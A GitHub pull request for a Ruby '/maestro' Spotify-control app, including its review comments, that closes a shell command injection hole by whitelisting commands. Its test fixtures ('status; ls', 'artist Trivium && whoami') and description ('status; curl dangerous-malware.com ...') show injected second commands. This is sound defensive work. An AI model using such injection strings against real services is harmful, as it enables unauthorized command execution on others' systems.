OO Spotify Class #8
Merged
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Improve test coverage
dkniffin
approved these changes
May 21, 2018
app.rb
Outdated
| output = HELP_TEXT unless $?.success? | ||
| [output, $?.success?] | ||
| # Find methods unique to Spotify class | ||
| VALID_COMMANDS = (Spotify.methods - Object.methods).freeze |
There was a problem hiding this comment.
Should this be Spotify.public_methods?
There was a problem hiding this comment.
With this PR, it won't make a difference, but for the sake of maintainability I'll change it.
| args.downcase! | ||
| command, *params = *split_args(args) | ||
| command = command.to_sym | ||
| return [HELP_TEXT, true] if args == "help" || !VALID_COMMANDS.include?(command) |
There was a problem hiding this comment.
Nice. That's a good way to fail quick.
spec/maestro_spec.rb
Outdated
| let(:text) { "status; ls" } | ||
| it "returns the usage text" do | ||
| subject | ||
| expect(last_response).to be_ok |
There was a problem hiding this comment.
Since we've got this set of expects a few times now, we should probably move it to a shared_examples block
spec/spotify_spec.rb
Outdated
| end | ||
|
|
||
| context "command injection" do | ||
| let(:play_args) { "artist Trivium && whoami" } |
There was a problem hiding this comment.
Just to be thorough, we should probably test a semicolon one as well.
Refactor specs
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Why?
Maestro allowed any arbitrary shell commands to be run using
/maestroalong with a;or&&e.g.
/maestro status; curl dangerous-malware.com > .malware-fileThis change also makes the code more maintainable and preps it for additional features
What Changed?
Added a Spotify class with methods for each of Spotify's commands
Added validation to commands to mitigate bash command injection attacks
Added lots of tests